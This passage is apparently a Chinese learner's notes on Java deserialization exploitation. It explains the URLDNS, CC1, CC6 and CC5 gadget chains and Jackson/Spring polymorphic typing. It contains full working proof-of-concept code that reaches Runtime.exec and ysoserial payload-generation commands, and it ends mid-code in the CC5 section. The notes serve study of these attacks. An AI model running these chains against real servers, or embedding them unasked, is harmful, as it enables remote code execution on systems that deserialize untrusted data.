import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; public class transformerDemo { public static void main(String[] args) { // 构造 Transformer 链 Transformer[] transformers = new Transformer[] { // 1. 返回 Runtime.class new ConstantTransformer(Runtime.class), // 2. 调用 getMethod("getRuntime") new InvokerTransformer( "getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} ), // 3. 调用 invoke(null) new InvokerTransformer( "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), // 4. 调用 exec("calc") new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"calc"} ) }; // 串联起来 ChainedTransformer chain = new ChainedTransformer(transformers); // 触发链 System.out.println("start"); chain.transform(null); // 💥 弹出计算器 System.out.println("ok"); } }
成功执行 - 如果受害者代码中已经存在 transformer.transform(input) 这样的调用点(比如在某个类的 readObject 中)。攻击者通过构造并序列化 ChainedTransformer 对象,让受害者的反序列化过程把这个对象"复活"到 transformer 变量中。当受害者代码执行 transformer.transform(input) 时,实际执行的是攻击者预设的 ChainedTransformer.transform(),从而触发整个反射链,执行任意命令。攻击者写逻辑,受害者提供执行时机。
- 总结:攻击者需要的 Gadget 有三种情况:直接危险(极少见)、间接调用(最常见,如 CC1 链)、hashCode/toString 触发(如 URLDNS 链)。核心是找到受害者系统中已有的类,这些类的 readObject 或它调用的方法最终能链式到达 Runtime.exec()。InvokerTransformer 之所以是核心,就是因为它提供了"间接调用到任意方法"的能力。

URLDNS链¶
- 是什么:URLDNS是一个无害的探测链,仅根据反序列化触发DNS查询,用于探测目标是否存在反序列化漏洞
- 特点
- 危害:无危害,仅触发DNS查询,不执行命令
- 依赖:JDK自带的类,无需第三方库
- 用途:用于探测目标是否存在反序列化漏洞
- 核心原理:HashMap的readObject会遍历所有的key,调用key.HashCode,如果key是URL对象的话,URL.HashCode会触发DNS查询
- 简化版源码
// 1. HashMap.readObject() 调用 private void readObject(ObjectInputStream in) { // ... for (int i = 0; i < mappings; i++) { K key = (K) in.readObject(); V value = (V) in.readObject(); putForCreate(key, value); // ← 入口 } } // 2. putForCreate 内部 private void putForCreate(K key, V value) { int hash = hash(key); // ← 调用 hash() 计算哈希值 // ... 然后放入内部数组 } // 3. hash() 方法 static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); // ↑ // 🔥 关键!调用 key 的 hashCode() 方法 } // 4. 如果 key 是 URL 对象,调用 URL.hashCode() public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); // ← 触发 DNS return hashCode; } - hashCode
- Object类的hashCode
特点:
1. native表示底层由c语言实现
2. 默认返回对象的内存地址(经过转换)
3. 不同对象通常返回不同的哈希值
4. hashCode的约定
Object obj1 = new Object(); Object obj2 = new Object(); System.out.println(obj1.hashCode()); // 如: 123456789 System.out.println(obj2.hashCode()); // 如: 987654321
5. URL的hashCode
URL 的 hashCode() 在计算过程中会触发 DNS 查询,这就是 URLDNS 链的根源 - putForCreate的调用时机 putForCreate是HashMap在反序列化时重建内部数组的方法,不是正常put时调用的,这是反序列化特有的路径。
- 为什么URL的hashCode会触发DNS解析
ULR类的hashCode()需要基于主机地址计算哈希值,但计算过程中会临时触发DNS解析。这在正常使用中没问题,但在反序列化场景中就成了漏洞。
// URL.hashCode() 内部 public synchronized int hashCode() { if (hashCode != -1) return hashCode; // 🔥 handler.hashCode() 会调用 getHostAddress() hashCode = handler.hashCode(this); return hashCode; } // handler.hashCode() 内部 protected int hashCode(URL u) { // ... // 🔥 获取主机地址会触发 DNS 解析 InetAddress addr = getHostAddress(u); // ... } - URLStreamHandler.hashCode() 的源码
// sun.net.www.protocol.http.Handler 的 hashCode(父类方法) protected int hashCode(URL u) { int h = 0; String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode(); String host = u.getHost(); if (host != null) { h += host.toLowerCase().hashCode(); // 🔥 关键!获取主机地址会触发 DNS 解析 InetAddress addr = getHostAddress(u); } // ... return h; } - 完整调用链
- 为什么选HashMap作为入口
- 实现了Serializable接口可以被序列化
- HashMap类的readObject会调用key.HashCode()从而触发URL的hashCode
- JDK内置不依赖第三方库
- 为什么选择URL作为key
- 实现Serializable接口,可以被序列化
- URL类的hashCode会触发网络请求,触发DNS查询
- JDK内置
- 为什么要重置hashCode=-1
- 源码
- 问题:当map.put(url,"test")已经触发过一次hashCode()时,url.hashcode就存在于缓存中了(!=-1),下次就不会再触发DNS解析查询,直接从缓存中查找
- 解决方法:通过反射将hashCode字段的值重置为-1
- 使用 ysoserial 工具生成URLDNS链payload
- 基本命令
cmd /c "java --add-opens java.base/java.net=ALL-UNNAMED -jar ysoserial.jar URLDNS http://your-dnslog-domain > payload.ser" URLDNS指定利用链类型"http://your-dnslog-domain"攻击者的DNSlog域名> payload.ser将生产的二进制payload重定向到文件中- 具体示例
- 使用ysoserial攻击生成payload文件
- 编写一个测试代码
import java.io.FileInputStream; import java.io.ObjectInputStream; public class testysoserial { public static void main(String[] args) throws Exception { FileInputStream fis=new FileInputStream("payload.ser"); ObjectInputStream ois=new ObjectInputStream(fis); ois.readObject(); ois.close(); fis.close(); } } - 编译测试代码
javac testysoserial.java - 运行测试
java testysoserial然后查看是否有DNS查询记录
测试成功 - 踩坑:
- jdk版本高于8的需要在运行ysoserial.jar时在-jar参数前面加上--add-opens java.base/java.net=ALL-UNNAMED参数,因为jdk9就因人力模块化系统,默认情况下,外部代码不能通过反射访问java.base/java.net包中的私有成员。URLDNS链需要修改hashCode字段的值为-1因此需要加上以上参数允许所有未命名的模块(也就是攻击者的代码)访问java.base模块下的java.net包
- 在windows命令行重定向二进制数据时经常出问题
- 这是直接这样
java --add-opens java.base/java.net=ALL-UNNAMED -jar ysoserial.jar URLDNS "http://e9d1a69b10.ddns.1433.eu.org"运行ysoserial.jar生成的文件的文件头
- FF FE 是 UTF-16 LE 编码的 BOM(字节顺序标记),说明 PowerShell 把二进制数据当作文本编码转换了,破坏了原始格式。
- 解决方案:用 PowerShell 重定向二进制
cmd /c "java --add-opens java.base/java.net=ALL-UNNAMED -jar ysoserial.jar URLDNS http://e9d1a69b10.ddns.1433.eu.org > payload.ser"
这次成功生成了正确的二进制payload
- 这是直接这样
- 基本命令
- 手工编写生成URLDNS链payload
- 代码组成
- 将URL对象放入HashMap对象中
- 反射修改URL对象的hashCode字段值
- 序列化HashMap对象
- 反序列化HashMap对象触发DNS解析查询
- 完整代码示例
import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.net.URL; import java.util.HashMap; import java.lang.reflect.Field; public class URLDNSDemo { public static void main(String[] args) throws IOException,IllegalAccessException,NoSuchFieldException{ URL url=new URL("http://e9d1a69b10.ddns.1433.eu.org."); HashMap<URL, String> hmp=new HashMap<>(); hmp.put(url, "test"); Field f=URL.class.getDeclaredField("hashCode"); f.setAccessible(true); f.set(url,-1); FileOutputStream fos=new FileOutputStream("payload.ser"); ObjectOutputStream oos=new ObjectOutputStream(fos); oos.writeObject(hmp); oos.close(); fos.close(); System.out.println("Payload created: payload.ser"); System.out.println("sizeof" + "payload.ser: " + new java.io.File("payload.ser").length() + " bytes"); FileInputStream fis=new FileInputStream("payload.ser"); ObjectInputStream ois=new ObjectInputStream(fis); ois.readObject(); ois.close(); fis.close(); System.out.println("Check your DNSLog platform for the incoming request when deserializing this payload."); } } - 编译运行脚本
- 查看DNSlog
脚本运行成功
- 调试(使用的是上面自己手工编写的代码)
- 在关键方法调用处设置断点
- 反序列化入口
ois.readObject();
HashMap.readObject()遍历key计算hash
URL.hashCode()获取自身的hashCode
URLStreamHandler获取主机ip触发DNS查询
- 开始调试,在每一处预设断点处观察方法调用是否符合预期
- 当遍历到
key=URL@162时,就是我们创建的URL对象,下一步应该就会跳转到URL.hashCode()
- 成功按照预期跳转到我们预先设好的断点处

- 顺利跳转到handler.hashCode()

- 计算完url对象的hashCode后返回HashMap中

- 此时反序列化虽然没有完全结束但已经出发DNS解析查询

- 补充知识点
- URLStreamHandler 的所有子类
URLDNS 链用的是默认的 http.Handler,它的 hashCode() 会触发 DNS
URLStreamHandler(抽象类) ├── sun.net.www.protocol.http.Handler // http:// ├── sun.net.www.protocol.https.Handler // https:// ├── sun.net.www.protocol.ftp.Handler // ftp:// ├── sun.net.www.protocol.file.Handler // file:// ├── sun.net.www.protocol.jar.Handler // jar:// ├── sun.net.www.protocol.mailto.Handler // mailto: └── ... 其他
- URLStreamHandler 的所有子类
CC0链¶
【TransformedMap版本的CC1链】
1. TransformedMap链
我们是先通过sun.reflect.annotation.AnnotationInvocationHandler类中的readObject方法,然后foreach语句会执行Map遍历,执行memberValues.setValue()方法,从而调用MapEntry.setValue(),然后执行TransformedMap.checkSetValue()来触发ChainedTransformer的transform方法
2. AnnotationInvocationHandler.readObject()
3. AbstractInputCheckedMapDecorator.setValue
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
CC1链¶
- 是什么:CC1链是通过commons-collections库实现的反序列化RCE利用链,核心是通过InvokerTransformer反射实现任意方法调用
- LazyMap版完整调用链
反序列化handler2 | 执行handler2.readObject() | 调用memberValues.entrySet() //memberValues是proxyMap | proxyMap.entrySet() //根据动态代理规则,这个调用被转发给创建 proxyMap 时指定的 InvocationHandler,也就是 handler1 的 invoke() 方法。 | handler1.invoke() | 执行memberValues.get(member) //handler1的memberValues是LazyMap | LazyMap.entrySet() //触发get()方法 | get(key) //key不存在时调用factory.transform(key)创建新值 | factory.transform(key) //factory设置为ChainedTransformer时 | 串联ConstantTransformer和多个InvokerTransformer调用方法 | 最终实现exec("calc"); - 各组件的作用
- AnnotationInvocationHandler(入口)
- 简化版源码
- 关键点:
for (Map.Entry<String, Object> entry : memberValues.entrySet())循环遍历memberValues并调用memberValues.entrySet(),如果这个 memberValues 就是我们的 proxyMap(动态代理对象),那么就会调用proxyMap.entrySet()
- 动态代理调用invoke()
- 简化版源码
- 关键点:invoke() 是 InvocationHandler 接口的方法,AnnotationInvocationHandler 实现了这个接口所以重写了它。配合 Java 动态代理使用:当代理对象上的任何方法被调用时,invoke() 自动介入【由 Java 官方在 Proxy 类的设计规范和 JVM 实现中明确规定】
- AnnotationInvocationHandler.invoke()
- 简化版源码
- 关键点:invoke() 里会用方法名去 memberValues.get(methodName) 查值。如果 memberValues 是我们的 LazyMap就会调用LazyMap.get()
- LazyMap
- 简化版源码
- 关键点:get方法在key不存在时调用factory.transform(key),要设置factory为ChainedTransformer
- ChainedTransformer(串联器)
- 简化版源码
// org.apache.commons.collections.functors.ChainedTransformer public class ChainedTransformer implements Transformer, Serializable { private final Transformer[] iTransformers; // Transformer 数组 public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; } // 🔥 关键方法:串联调用 public Object transform(Object object) { // 依次调用每个 Transformer for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); // 前一个的输出是后一个的输入 } return object; } } - 关键点:串联 ConstantTransformer 和多个 InvokerTransformer,从 null 一路走到 exec("calc")
- 简化版源码
- ConstantTransformer(常量返回器)
- 简化版源码
// org.apache.commons.collections.functors.ConstantTransformer public class ConstantTransformer implements ransformer, Serializable { private final Object iConstant; // 固定常量 public ConstantTransformer(Object constant) { this.iConstant = constant; } // 🔥 无论输入是什么,都返回固定常量 public Object transform(Object input) { return iConstant; // 返回 Runtime.class } } - 关键点:
public Object transform(Object input) {return iConstant;}无论输入是什么,都返回固定常量iConstant,设置iConstant为Runtime.class
- 简化版源码
- InvokerTransformer(危险核心)
- 简化版源码a-
// org.apache.commons.collections.functors.InvokerTransformer public class InvokerTransformer implements Transformer, Serializable { private final String iMethodName; // 方法名 private final Class[] iParamTypes; // 参数类型数组 private final Object[] iArgs; // 参数值数组 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; } // 🔥 核心!反射调用任意方法 public Object transform(Object input) { if (input == null) { throw new IllegalArgumentException("Input object cannot be null"); } try { // 获取方法 Method method = input.getClass().getMethod(iMethodName, iParamTypes); // 调用方法 return method.invoke(input, iArgs); } catch (Exception e) { throw new FunctorException("InvokerTransformer: " + e.getMessage()); } } } - 关键点:通过反射调用任意方法,参数完全可控(方法名、参数类型、参数值)
- 简化版源码a-
- 核心机制:两层 Handler 的嵌套
- handler2 (外层):这是我们最终要序列化的对象。 它的 memberValues 字段不是一个普通的 LazyMap,而是一个动态代理对象 proxyMap。
- proxyMap (动态代理):它是一个代理了 Map 接口的代理对象。 它的 InvocationHandler 被设置为 handler1 (内层)。这意味着,对 proxyMap 的任何方法调用,都会被转发给 handler1 的 invoke() 方法。
- handler1 (内层):这是另一个 AnnotationInvocationHandler 实例。 它的 memberValues 字段才是我们真正的、带有恶意 ChainedTransformer 的 LazyMap。
- 为什么使用AnnotationInvocationHandler作为入口
- 它实现了 Serializable:可以被序列化
- 它的 readObject() 方法会操作 memberValues 这个 Map:会遍历 entrySet(),甚至可能调用 setValue()
- 它对 memberValues 的类型不设防:你传入的 Map 可以是任何 Map 类型(如 TransformedMap、LazyMap)
- 它被 JDK 内部使用:默认存在,不需要引入额外库
- 手工编写完整POC
- 关键代码组成部分
- 构造一个ConstantTransformer和多个InvokerTransformer
- 构造ChainedTransformer将上面的Transformer串联
- 构造LazyMap
- 构造内层handler1
- 构造proxyMap
- 构造外层handler2
- 序列化handler2
- 反序列化
- 完整代码示例
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.functors.ChainedTransformer; public class CC1Demo { public static void main (String[] args) throws Exception { ConstantTransformer c=new ConstantTransformer(Runtime.class); InvokerTransformer i1=new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", new Class[0]}); InvokerTransformer i2=new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null, new Object[0]}); InvokerTransformer i3=new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); Transformer[] ts=new Transformer[]{c,i1,i2,i3}; ChainedTransformer chain=new ChainedTransformer(ts); HashMap<String, String> innermap=new HashMap<String, String>(); Map<String,String> lazyMap=LazyMap.decorate(innermap, chain); Class<?> clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> cons=clazz.getDeclaredConstructor(Class.class,Map.class); cons.setAccessible(true); Object h1=cons.newInstance(Override.class,lazyMap); InvocationHandler handler1=(InvocationHandler)h1; Map proxymap=(Map)java.lang.reflect.Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler1); InvocationHandler handler2=(InvocationHandler)cons.newInstance(Override.class,proxymap); ByteArrayOutputStream baos=new ByteArrayOutputStream(); ObjectOutputStream oos=new ObjectOutputStream(baos); oos.writeObject(handler2); oos.flush(); oos.close(); baos.close(); byte[] data=baos.toByteArray(); ByteArrayInputStream bais=new ByteArrayInputStream(data); ObjectInputStream ois=new ObjectInputStream(bais) ; ois.readObject(); ois.close(); bais.close(); } } - 关键:
- InvokerTransformer只能调用传入的input所属类存在的方法,因此调用ConstantTransformer和多出调用InvokerTransformer都是为了生成下一步InvokerTransformer调用方法所需的input类型

- LazyMap 类虽然是 public 的,但构造方法是 protected:查找用法找到 decorate(),它是 public 的并且内部会调用 LazyMap(map, factory):
- innerMap设置为空:确保遍历entryMap时不存在key从而触发get()
- InvokerTransformer只能调用传入的input所属类存在的方法,因此调用ConstantTransformer和多出调用InvokerTransformer都是为了生成下一步InvokerTransformer调用方法所需的input类型
- 测试:
- 要使用jdk8u71以下版本
成功执行命令弹出计算器证明CC1链利用成功
- 调试观察函数调用以及参数变化
- 设置断点:
- ois.readObject()

- this.memberValues.entrySet()

- 代理proxymap

- memberValues.get(member)

- lazyMap.get()

- ChainedTransformer

- ConstantTransformer

- InvokerTransformer

- ois.readObject()
- 开始调试,观察参数值变化和方法调用调整过程
- 发现在调试到AnnotationInvocationHandler.invoke()时就触发了探测,但此时程序并没有执行完成,接着执行又会按照预想的方法调用顺序在我们设置的断点处一次次停下来直到最后弹出计算器
- 可能的原因:当你在断点处暂停时,VSCode 的调试器会:
- 检查变量值:为了在"变量"窗口显示 proxyMap、lazyMap、handler1 等对象的内容
- 调用 toString():调试器会自动调用这些对象的 toString() 方法来获取可读的字符串表示
- 调用 hashCode():某些情况下也会调用 hashCode()
- 调用 getClass():获取类信息这些调用都发生在你的代码执行之前,通过代理对象被转发到 handler1.invoke(),进而触发了 LazyMap.get() 和整个 Transformer 链。
- 调试过程

- ysoserial生成payload
cmd /c "java -jar ysoserial.jar CommonsCollections1 calc >payload.ser"生成payload二进制文件- 反序列化测试程序
import java.io.FileInputStream; import java.io.ObjectInputStream; public class testysoserial { public static void main(String[] args) throws Exception { FileInputStream fis=new FileInputStream("payload.ser"); ObjectInputStream ois=new ObjectInputStream(fis); ois.readObject(); ois.close(); fis.close(); } } - 运行测试程序测试工具生成的payload
- 成功弹出计算器

URLDNS链vs CC1链¶

不同Gadget库对比¶
Jackson¶
- Jackson是干什么的:JSON数据<-->Java对象的转换器
- 核心能力:自动把JSON字符串转成Java对象,把Java对象转成JSON
// 没有Jackson时,你得手动解析JSON String json = "{\"name\":\"张三\",\"age\":18}"; // 手动解析... 很麻烦 // 有了Jackson,一行搞定 ObjectMapper mapper = new ObjectMapper(); User user = mapper.readValue(json, User.class); // JSON → Java对象 // user.name = "张三", user.age = 18 String json2 = mapper.writeValueAsString(user); // Java对象 → JSON - 反序列化漏洞为什么会出现在Jackson中
- 正常用法 此时攻击者只能控制JSON中的字段值无法控制创建什么类
- 危险用法(需要配置) 攻击者可以通过@class字段指定要创建的类
- 找到能执行命令的类TemplatesImpl,这个类(用于XSLT转换),它有一个方法:
- 构造恶意JSON数据
- 完整Jackson工作流程

- 实例化对象:调用无参构造器
这是 Jackson 反序列化的标准流程。当解析到 JSON 中
"@class": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"时,Jackson 会: 通过 Class.forName() 加载 TemplatesImpl 类 调用其无参构造器创建一个空的实例 - 填充数据:
- 通过字段直接赋值 创建出空对象后,Jackson 需要将 JSON 中的值填入对象。对于 TemplatesImpl 来说,它没有为关键私有字段(如 _bytecodes、_name)提供 public 的 setter 方法因此,Jackson 会直接使用反射来修改这些私有字段的值。它不关心字段是 private、protected 还是 public,只要能找到这个字段,就会强制将 JSON 中的值(如 Base64 编码的字节码)写入进去
- 处理 "outputProperties": {}:
- Jackson解析到"outputProperties"字段
- 扫描TemplatesImpl类,发现有getOutputProperties()方法
- 推断存在"outputProperties"属性
- 没有setter,无法写入新Jackson决定:调用getter读取当前属性值
- 调用 getOutputProperties()
- Jackson链的漏洞入口:readValue()
- 用法1:指定具体类(安全)
- 用法2:指定为Object类(危险,需配合DefaultTyping)
- 用法3:指定为泛型/抽象类(危险,需配合DefaultTyping) 【泛型让代码能处理"任意类型",抽象类代表"不完整需要子类填充"。当Jackson遇到目标类型是 Object(最抽象的泛型参数)时,它需要JSON中的@class字段来明确具体类。攻击者利用这一点,让Jackson实例化了TemplatesImpl等危险类,从而触发反序列化漏洞】
Spring¶
- Spring是什么:一个工具箱(包含web功能)
- 作用:Spring Web让开发者写网站更简单
- Spring 链的本质是: Spring MVC 的 @RequestBody 自动反序列化机制,调用了底层 Jackson 的 enableDefaultTyping() 多态功能,结合 TemplatesImpl 的 getOutputProperties() 触发链,最终实现远程代码执行。
- 之所以叫"Spring 链"而非"Jackson 链",是因为:
- 入口是 Spring:@RequestBody 注解驱动
- 环境是 Spring:利用 Spring Boot 的自动配置
- 传播是 Spring:整个请求处理链在 Spring 框架内完成
- 底层的"炸药"依然是 Jackson + TemplatesImpl 的组合。
- Spring链完整原理
- 核心架构:Spring 如何集成 Jackson
@RestController public class VulController { @PostMapping("/data") public void process(@RequestBody MyWrapper wrapper) { // Spring 自动将 HTTP Body 绑定到 wrapper 对象 System.out.println(wrapper.getData()); } } class MyWrapper { private Object data; // ← 多态的关键点 public Object getData() { return data; } public void setData(Object data) { this.data = data; } } - 为什么叫Spring链
- 入口是 Spring 的机制:Spring Web应用中,使用 @RequestBody 注解让Spring自动把HTTP请求体(JSON)转成Java对象。
触发入口:Spring自动处理 @RequestBody这意味着:
// Spring 的 RequestResponseBodyMethodProcessor 核心逻辑(简化) public class RequestResponseBodyMethodProcessor { @Override public Object resolveArgument(MethodParameter parameter) { // 1. 从 HTTP 请求中读取 Body HttpInputMessage msg = new ServletServerHttpRequest(request); // 2. 找到合适的 HttpMessageConverter HttpMessageConverter<?> converter = findConverter(parameter); // 3. 调用 Jackson 转换器 return converter.read(parameter.getParameterType(), msg); } }- 开发者不需要手动调用 mapper.readValue()
- Spring在框架内部悄悄调用了Jackson(或其它HttpMessageConverter)
- 攻击者只需要发送一个HTTP请求到有这个注解的接口
- Spring 自动配置了 Jackson Spring Boot 1.x 的情况:Spring Boot 1.x 为了"开箱即用",默认配置了Jackson的某些多态特性结果,开发者什么都没做,Spring已经帮他们开启了危险配置! Spring Boot 2.x 及以后:修复了这个"默认不安全"的问题,默认不再开启多态类型绑定。但仍然可能存在其他漏洞或配置。
- 入口是 Spring 的机制:Spring Web应用中,使用 @RequestBody 注解让Spring自动把HTTP请求体(JSON)转成Java对象。
- 攻击流程详解
- 客户端构造恶意 JSON
- Spring 解析参数
- Jackson 处理多态
- 触发漏洞
- Spring 链核心要素详解
- 入口:Spring MVC 自动参数绑定【@RequestBody 注解触发自动反序列化】
- 触发方式:Web请求 → 框架自动解析
- 关键点:@RequestBody + Object类型【Spring链 = Jackson链的配置前提(多态支持)+ 触发入口(@RequestBody)】
- 依赖:spring-web + spring-beans + jackson spring-web(提供@RequestBody)【入口触发器】 jackson-databind(提供多态解析)【实际解析器】 spring-beans(提供参数绑定)【值绑定器】

CC链¶
- 核心原理:readObject() → 调用链 → Transformer.transform() → 反射执行任意方法
- 关键特点:
- 直接反射:InvokerTransformer包装任意方法调用
- 链式组合:ChainedTransformer串联多个操作
- 无需额外配置:只要classpath中有CC依赖就可能触发
- 限制条件
- CC1链:jdk8u71之前可用(AnnotationInvocationHandler修复)
- CC2/CC4:需要javassist(部分版本)
- CC6:无jdk版本限制
对比¶

CC6链¶
- 背景: 自从Java 8u71以后,官方修改了AnnotationInvocationHandler类中的readObject方法,修改后的代码可以看到不再使用我们原始的Map对象,而是新建了LinkedHashMap对象,并将键值对加入,使得后续操作都是针对于这个新的LinkedHashMap对象,使得无法触发LazyMap.get()方法,且新的方法也没有了memberValues.setValue()了,可以说CC1链没法用了。能否找到一条不经过AnnotationInvocationHandler类且能够触发LazyMap.get()方法的链子
- 调用链
- 每一步方法调用详解
- HashMap.readObject()(入口) URLDNS链时已经了解到反序列化时HashMap类的readObject方法会对每一个key调用hash()方法
- HashMap.hash() HashMap类的hash方法调用了hashCode方法
- TiedMapEntry.hashCode() TiedMapEntry类的hashCode()方法会调用该类的getValue()方法
- TiedMapEntry.getValue() TiedMapEntry类的getValue()方法会调用LazyMap.get()
- 手工POC
- 核心难点:编写CC6链时,最大的坑点在当本地生成payload,执行到hashMap.put(entry, "value")时会调用entry.hashCode()从而触发命令执行
- 问题1:本地意外执行命令
- 问题2:缓存污染
- 尝试运行有问题的POC
未完成序列化操作和反序列化操作- hashMap.put(entry, "value") 触发了命令执行命令执行
- LazyMap.get() 返回的是 Process 对象(Runtime.exec() 的返回值)
- 这个 Process 对象被放入了 LazyMap 的缓存中序列化时需要序列化这个 Process 对象
- 但它没有实现 Serializable 接口所以序列化失败
- 改进:先将factory的值赋值为1(占位符)然后再反射改为ChainedTransformer
- 修改过后编译运行发现可以正常序列化和反序列化但没有执行命令
- 调试
- 调试POC
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; public class CC6_Problem_Version { public static void main(String[] args) throws Exception { ConstantTransformer ct=new ConstantTransformer(Runtime.class); InvokerTransformer i1=new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]} ); InvokerTransformer i2=new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,new Object[0]} ); InvokerTransformer i3=new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"} ); Transformer[] ts=new Transformer[]{ct,i1,i2,i3}; ChainedTransformer chain=new ChainedTransformer(ts); HashMap map=new HashMap(); Map lazyMap=LazyMap.decorate(map, new ConstantTransformer(1)); TiedMapEntry entry=new TiedMapEntry(lazyMap, "key"); HashMap entrymap=new HashMap(); entrymap.put(entry, "value"); Field f=lazyMap.getClass().getDeclaredField("factory"); f.setAccessible(true); f.set(lazyMap, chain); ByteArrayOutputStream baos=new ByteArrayOutputStream(); ObjectOutputStream oos=new ObjectOutputStream(baos); oos.writeObject(entrymap); oos.flush(); oos.close(); byte[] data=baos.toByteArray(); System.out.println("Serialized data length: " + data.length); ByteArrayInputStream bais=new ByteArrayInputStream(data); ObjectInputStream ois=new ObjectInputStream(bais); ois.readObject(); ois.close(); System.out.println("Deserialization completed."); } } - 关键位置设置断点
发现到这里之后就没有按照预期在下一个预期断点
处停下说明lazyMap已经在hashMap.put(entry, "value") 这会触发 entry.hashCode() → lazyMap.get("foo")有了缓存- 删除缓存
lazyMap.remove("foo");
- 调试POC
- 解决方法:
- 用假的Transformer占位:避免构造时在本地执行危险命令
- 清除缓存:lazyMap.remove("foo") 删除刚产生的缓存项
- 反射替换:把假的换成真的恶意 Transformer
- 完整POC
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; public class CC6_Problem_Version { public static void main(String[] args) throws Exception { ConstantTransformer ct=new ConstantTransformer(Runtime.class); InvokerTransformer i1=new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]} ); InvokerTransformer i2=new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,new Object[0]} ); InvokerTransformer i3=new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"} ); Transformer[] ts=new Transformer[]{ct,i1,i2,i3}; ChainedTransformer chain=new ChainedTransformer(ts); HashMap map=new HashMap(); Map lazyMap=LazyMap.decorate(map, new ConstantTransformer(1)); TiedMapEntry entry=new TiedMapEntry(lazyMap, "key"); HashMap entrymap=new HashMap(); entrymap.put(entry, "value"); lazyMap.remove("key"); Field f=lazyMap.getClass().getDeclaredField("factory"); f.setAccessible(true); f.set(lazyMap, chain); ByteArrayOutputStream baos=new ByteArrayOutputStream(); ObjectOutputStream oos=new ObjectOutputStream(baos); oos.writeObject(entrymap); oos.flush(); oos.close(); byte[] data=baos.toByteArray(); System.out.println("Serialized data length: " + data.length); ByteArrayInputStream bais=new ByteArrayInputStream(data); ObjectInputStream ois=new ObjectInputStream(bais); ois.readObject(); ois.close(); System.out.println("Deserialization completed."); } } - 运行验证
成功反序列化执行命令 - ysoserial验证
工具生成的payload也可以成功执行命令
CC5链¶
- 调用链
- 调用方法源码
- BadAttributeValueExpException.readObject()
- TiedMapEntry.toString()会调用该类的getValue方法
- TiedMapEntry.getValue()会调用Map类的get方法
- 触发条件:
- 手工POC
- 构造关键点:
- 为什么要先反射设置val字段的值为null,然后反射设置val值不为null
- BadAttributeValueExpException构造方法源码
- 如果不先设置val值为null那么在构造BadAttributeValueExpException对象时就会触发命令执行
- 如果不反射修改值不为null那么在反序列化要真正实现命令执行时就不会触发调用链
- 完整POC
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.io.ObjectOutputStream; import java.io.ObjectInputStream; public class CC5POC { public static void main(String[] args) throws Exception { ConstantTransformer ct =new ConstantTransformer(Runtime.class); InvokerTransformer i1=new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]}); InvokerTransformer i2=new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,new Object[0]}); InvokerTransformer i3=new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"} ); Transformer[] transformers = new Transformer[]{ct,i1,i2,i3}; ChainedTransformer chain = new ChainedTransformer(transformers); HashMap map = new HashMap(); LazyMap lazyMap=(LazyMap)LazyMap.decorate(map, chain); TiedMapEntry entry=new 